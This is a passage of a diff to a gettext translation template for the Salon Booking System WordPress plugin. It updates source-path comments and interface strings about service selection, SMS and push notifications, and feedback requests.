build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:66\n-msgid \"Use this if your column is at least 600px width\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:81\n+msgid \"Selected primary services.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FShortcodeStyle.php:67, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:67, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:67\n-msgid \"Use this if your column is at least 900px width\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:90\n+msgid \"Selected secondary services.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FShortcodeStyle.php:70, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:70, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:70\n-msgid \"Small\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:135\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:126\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:180\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:135\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:126\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:180\n+msgid \"Selected service id.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FShortcodeStyle.php:71, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:71, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:71\n-msgid \"Medium\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:40\n+msgid \"Selected services.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FShortcodeStyle.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:72\n-msgid \"Large\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:21\n+msgid \"\"\n+\"Selecting this option the booking process will follow this order: A - \"\n+\"Services B - Assistants C - Date\u002FTime\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FSmsProvider.php:50, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FSmsProvider.php:50, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FSmsProvider.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FSmsProvider.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FSmsProvider.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FSmsProvider.php:50\n-msgid \"test (sms sent by email to the admin)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:27\n+msgid \"Send\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:64, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:64, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:64\n-msgid \"The day is holiday\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:200\n+msgid \"Send an SMS to selected attendant on canceled bookings\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:65, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:65, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:65\n-msgid \"This is non-working day\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:192\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:192\n+msgid \"Send an SMS to selected attendant on modified bookings\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:66, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:66, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:66\n-msgid \"The day is full\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:179\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:179\n+msgid \"Send an SMS to selected attendant on new bookings\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:130, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:130, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:130, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:130, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:130, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:130\n-msgid \"Working hours\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:39\n+msgid \"\"\n+\"Send automated text reminders and cut no-shows with the right messaging add-\"\n+\"on.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:140, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:140, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:140\n-msgid \"Parallels hours for booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:511\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:511\n+msgid \"Send feedback requests now\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:143, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:143, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:143\n-msgid \"Number of reserved booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:496\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:496\n+msgid \"\"\n+\"Send feedback requests to all eligible bookings that haven't received it yet \"\n+\"(from the last 30 days).\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:147, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:147, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:147, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:147, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:147, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:147\n-msgid \"Time out of the booking time range.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:26\n+msgid \"Send Onesignal notification on new bookings\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:150, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:150, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:150\n-msgid \"Available booking time range: from\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:126\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:126\n+msgid \"Send SMS notification on canceled bookings\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:240, src\u002FSLN\u002FHelper\u002FAvailability.php:231, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:240, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:231, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:240, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:240, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:240, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:240, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:231\n-msgid \"This assistant is not available for the selected service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:118\n+msgid \"Send SMS notification on modified bookings\"\n msgstr \"\"\n \n-#. translators: %d will be replaced by the primary services count\n-#. translators: %d will be replaced by the secondary services count\n-#. translators: %s will be replaced by the primary services count\n-#. translators: %s will be replaced by the secondary services count\n-#. translators: %s will be replaced by the count primary services\n-#. translators: %s will be replaced by the count secondary services\n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:773, src\u002FSLN\u002FHelper\u002FAvailability.php:786, src\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:458, src\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:471, src\u002FSLN\u002FThird\u002FGoogleScope.php:777, src\u002FSLN\u002FThird\u002FGoogleScope.php:791, src\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:207, src\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:226, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:773, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:786, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:458, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:471, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:777, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:791, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:207, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:226, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:773, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:786, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:458, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:471, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:777, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:791, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:773, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:786, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:458, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:471, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:777, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:791, 